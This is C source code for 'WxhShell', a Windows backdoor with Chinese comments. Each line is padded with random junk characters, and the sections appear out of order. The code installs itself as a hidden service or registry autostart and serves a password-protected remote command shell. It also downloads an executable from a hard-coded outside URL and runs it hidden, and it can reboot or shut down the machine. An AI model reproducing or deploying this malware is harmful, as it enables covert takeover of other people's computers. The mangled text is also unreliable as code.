ULONG InheritedFromUniqueProcessId; 4Q+ ,_iP
} PROCESS_BASIC_INFORMATION; _0[z
xOI
za>%hZf\
PROCNTQSIP NtQueryInformationProcess; P, x"![6
|E13W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dw=L]i
:0v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #kQ! GMZH
TjpyU:R,&|
HANDLE hProcess; IO7z}![V;
PROCESS_BASIC_INFORMATION pbi; '[r: pwE
dX\OP>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =K@LEZZ'/<
if(NULL == hInst ) return 0; gd[muR ~
WjBml'^RY
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U/c+j{=~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &4E|c[HN
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l(Y32]Z
\]Y<d
if (!NtQueryInformationProcess) return 0; Tp ;W
:M6|V_Yp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pyf'_
if(!hProcess) return 0; mR.j8pi
@Z0. }}Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n6[shXH
GS*O{u
CloseHandle(hProcess); >MJ%6A>
hMupQDv/I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {F_>cyR
if(hProcess==NULL) return 0; *b;)7lj0h
$%U}k=-
HMODULE hMod; hl[<o<`Q
char procName[255]; yXkQ
,y
unsigned long cbNeeded; -raK
\,v^v]|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YBY;$&9
Fpo}UQQbc
CloseHandle(hProcess); oVqx)@$K
?Gf'G{^}
if(strstr(procName,"services")) return 1; // 以服务启动 K*^'tltJ
yS)k"XNb
return 0; // 注册表启动 B^19![v3T
} Zn1((J7
H#F"n"~$
// 主模块 W}F~vx.
int StartWxhshell(LPSTR lpCmdLine) <F`9;WX
{ 02 FLe*zQ
SOCKET wsl; 06NiH-0O
BOOL val=TRUE; .}E<,T
int port=0; F_u?.6e]
struct sockaddr_in door; pg!mOyn
*3^7'^j<
if(wscfg.ws_autoins) Install(); H94_a e
OL=X&Vaf<
port=atoi(lpCmdLine); 4JBfA,
oe6Ex5h
if(port<=0) port=wscfg.ws_port; /&?ei*z
va~:Ivl-)
WSADATA data; ~#EXb?#uS
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @"cnPLh&
Pf8_6 z_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x1
LI&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AsS~TLG9p
door.sin_family = AF_INET; 'bv(T2d~~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4o''C |ND
door.sin_port = htons(port); qZQm*q(jM
B'Nvl#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FpttH?^
closesocket(wsl); 6
y"r'
return 1; h*4wi.-
} "%
i1zQo&
$sL+k 'dY
if(listen(wsl,2) == INVALID_SOCKET) { 3b?-83a
closesocket(wsl); >$<Q:o}^
return 1; zBrIhL]95
} tIA)LF
Wxhshell(wsl); lYS4Q`z$
WSACleanup(); qq^[(n
u 'ng'j'
return 0; YC{7;=Pf
Vg(p_k45`
} |rpMwkR
_ru<1n[4~
// 以NT服务方式启动 YU87l
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U ;4;>
{ ( ^=kV?<
DWORD status = 0; d6W&u~
DWORD specificError = 0xfffffff; VuBi_v6
1^Q!EV
serviceStatus.dwServiceType = SERVICE_WIN32; acpc[^'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \ }-v
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yYC\a7Al4
serviceStatus.dwWin32ExitCode = 0; }WQ:Rmi
serviceStatus.dwServiceSpecificExitCode = 0; qyIy xJ
serviceStatus.dwCheckPoint = 0; 6{Bvl[mhI
serviceStatus.dwWaitHint = 0; M~sP|Ha"+
gi
A(VUwI>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BZQJ@lk5
if (hServiceStatusHandle==0) return; c1]\.s
IxP$lx
status = GetLastError(); 'u[cT$
if (status!=NO_ERROR) =F*{O=
{ 0Oq5;5
serviceStatus.dwCurrentState = SERVICE_STOPPED; I7ySm12}
serviceStatus.dwCheckPoint = 0; GwD"j]
serviceStatus.dwWaitHint = 0; HV3D$~g F
serviceStatus.dwWin32ExitCode = status; 51%<N\>/4
serviceStatus.dwServiceSpecificExitCode = specificError; KbRKPA`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =66,$~g{
return; $L"-JNS
} {XS2<!D
&kOb#\11u
serviceStatus.dwCurrentState = SERVICE_RUNNING; la!rg#)-X
serviceStatus.dwCheckPoint = 0; v CR\lR+
serviceStatus.dwWaitHint = 0; (7aE!r\Ab
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bq:: 5,v
} 7"_gX
=1kjKE !
// 处理NT服务事件,比如:启动、停止 1n
ZE9;o
VOID WINAPI NTServiceHandler(DWORD fdwControl) $r)nvf`\
{ Y0OVzp9 b
switch(fdwControl) {QLqf
{ )3_g&&
case SERVICE_CONTROL_STOP: gtP;Qw'
serviceStatus.dwWin32ExitCode = 0; Kib?JRYt
serviceStatus.dwCurrentState = SERVICE_STOPPED; l\-(li
H
serviceStatus.dwCheckPoint = 0; YwM;G
g3
serviceStatus.dwWaitHint = 0; E?f*Z{~,
{ M7lMOG(\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @l2AL9z$m>
} "2/VDB4!FG
return; 1<9m^9_ro
case SERVICE_CONTROL_PAUSE: -Kf'02
serviceStatus.dwCurrentState = SERVICE_PAUSED; +%RXV~
break; `!T6#6h
case SERVICE_CONTROL_CONTINUE: 785Y*.p
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2|^bDg;W+u
break; ].w$b)G
case SERVICE_CONTROL_INTERROGATE: }oTac
break; ~&IL>2-B
}; E~!FEl;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K>$od^f%c
} `Tf<w+H
D&)gcO`\
// 标准应用程序主函数 ^coJ"[D
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iNs
{ hAZ"M:f
7"
cgj#
// 获取操作系统版本 RT2a:3f
OsIsNt=GetOsVer(); dQFx]p3L
GetModuleFileName(NULL,ExeFile,MAX_PATH); $}7WJz:
KH&xu,I
// 从命令行安装 2?7a\s
if(strpbrk(lpCmdLine,"iI")) Install(); C44Dz.rs
dkf?lmC+M
// 下载执行文件 m;LeaD}0
if(wscfg.ws_downexe) { WaWx5Fx+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9X{aU)"omQ
WinExec(wscfg.ws_filenam,SW_HIDE); t
UW'E
} }%rz"kB
P8s'e_t
if(!OsIsNt) { h^0!I TL ^
// 如果时win9x,隐藏进程并且设置为注册表启动 {4{ACp
HideProc(); SIRZ_lt$r
StartWxhshell(lpCmdLine); R\=y/tw0H
} :FdV$E]]<
else i_&&7.
if(StartFromService()) D &wm7,
// 以服务方式启动 3C8'@-U
StartServiceCtrlDispatcher(DispatchTable); Z,,Wo
%)o
else x2TCw
// 普通方式启动 j:,*Liz
StartWxhshell(lpCmdLine); ODM<$Yo:d
.,x08M
return 0; z|yC [Ota
} AuU:613]W8
Tr}c]IP*
an<tupi[E
_B|g)Rdv
=========================================== r jL%M';
n/UyMO3=
4 ITSDx
}qXi;u))
rq6(^I
i@_|18F]`
" YKUs>tQ!
I\DT(9
'E
#include <stdio.h> `h
Y:F(
#include <string.h> QkzPzbF"
#include <windows.h> Oy[t}*Ik
#include <winsock2.h> O`mW,
#include <winsvc.h> 2Sb~tTGz79
#include <urlmon.h> P*(lc:
h_d!G+-]
#pragma comment (lib, "Ws2_32.lib") s6). ?oE
#pragma comment (lib, "urlmon.lib") <H E'5b
!cE)LG
#define MAX_USER 100 // 最大客户端连接数 WohK,<Or
#define BUF_SOCK 200 // sock buffer -D.6@@%Kc}
#define KEY_BUFF 255 // 输入 buffer JT<Ia
>1mCjP
#define REBOOT 0 // 重启 o,Ew7~u
#define SHUTDOWN 1 // 关机 XUUS N
Khw!+!(H
#define DEF_PORT 5000 // 监听端口 IEeh)aj[
Q:kpaMA1P
#define REG_LEN 16 // 注册表键长度 %r~TMU2"
#define SVC_LEN 80 // NT服务名长度 /5r[M=_ihr
.f&,~$e4
// 从dll定义API I[<C)IG
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 35jP</
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sOLo[5y'
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F/RV{} 17E
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }(TZ}* d
o&LNtl;
// wxhshell配置信息 -F|(Y1OE
struct WSCFG { s bW`
int ws_port; // 监听端口 ^O[qCX
char ws_passstr[REG_LEN]; // 口令 <h7C_^L10\
int ws_autoins; // 安装标记, 1=yes 0=no l=
!KZaH
char ws_regname[REG_LEN]; // 注册表键名 vM\8>p*U
char ws_svcname[REG_LEN]; // 服务名 HPwmi[
char ws_svcdisp[SVC_LEN]; // 服务显示名
{v]A`u)
char ws_svcdesc[SVC_LEN]; // 服务描述信息 GXRK+RHuBi
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z^`>;n2
int ws_downexe; // 下载执行标记, 1=yes 0=no Fv5@-&y$W
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XF{}St~ (
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 31YzTbl[H
)Cyrs~
}; }QG6KJh_%
HHoh//(\
// default Wxhshell configuration Z:9"7^+
struct WSCFG wscfg={DEF_PORT, WRFzb0;01
"xuhuanlingzhe", W/{HZ< :.
1, +l&ZN\@0X
"Wxhshell", WZ"x\K-;
"Wxhshell", r#3_F=xL5
"WxhShell Service", m]Z&
.,bA
"Wrsky Windows CmdShell Service", LfrS:g
"Please Input Your Password: ", &HZ"<y{j
1, 7PP76$
"http://www.wrsky.com/wxhshell.exe", .wS' Xn&
"Wxhshell.exe" xk.\IrB_
}; }3^t,>I=,6
Scs \nF2
// 消息定义模块 B7T(9Tj+Fh
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A'6>"=ziP
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9)T;.O
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hMeE@Q0
char *msg_ws_ext="\n\rExit."; 0P\)L`cG
char *msg_ws_end="\n\rQuit."; {o5E#<)
char *msg_ws_boot="\n\rReboot..."; Ck(D:
% ~s
char *msg_ws_poff="\n\rShutdown..."; !lL21C6g+
char *msg_ws_down="\n\rSave to "; E@P8-x'i
"i4@'`r
char *msg_ws_err="\n\rErr!"; 3@s|tm1
char *msg_ws_ok="\n\rOK!"; <q%buyQna
07# ~cVI
char ExeFile[MAX_PATH]; RP z0WP
int nUser = 0; SgFyv<6>:
HANDLE handles[MAX_USER]; Y-@K@Zu]?
int OsIsNt; Bk>Ch#`Bw
N ~g'Z
`
SERVICE_STATUS serviceStatus; z)yxz:E
SERVICE_STATUS_HANDLE hServiceStatusHandle; @+:S'mAQC
Qy5\qW'
// 函数声明 lJu2}XRiU
int Install(void); nXk<DlTws
int Uninstall(void); ^ ,U9N
int DownloadFile(char *sURL, SOCKET wsh); Iz!Blk
int Boot(int flag); B {f&'1pp/
void HideProc(void); xhj
A!\DS
int GetOsVer(void); >Ex\j?
int Wxhshell(SOCKET wsl); u0#q)L8
void TalkWithClient(void *cs); 2|kx:^D p
int CmdShell(SOCKET sock); qA#!3<
int StartFromService(void); hf8=r5j=
int StartWxhshell(LPSTR lpCmdLine); eB<R@a|?S
/) MzF6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =MRg
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kiZA$:V8
AAxY{Z-4
// 数据结构和表定义 t!AHTtI
SERVICE_TABLE_ENTRY DispatchTable[] = $2
~RZpS
{ `8KWZi4
]
{wscfg.ws_svcname, NTServiceMain}, )#9/vIQ
{NULL, NULL} b,$H!V*
}; #ZRQVC; b;
QOcB ]G
// 自我安装 G?8LYg!-
int Install(void) ePa1 @dI
{ [&j!g
char svExeFile[MAX_PATH]; j#9p0[
HKEY key; ShxB!/s
strcpy(svExeFile,ExeFile); |Ah26<&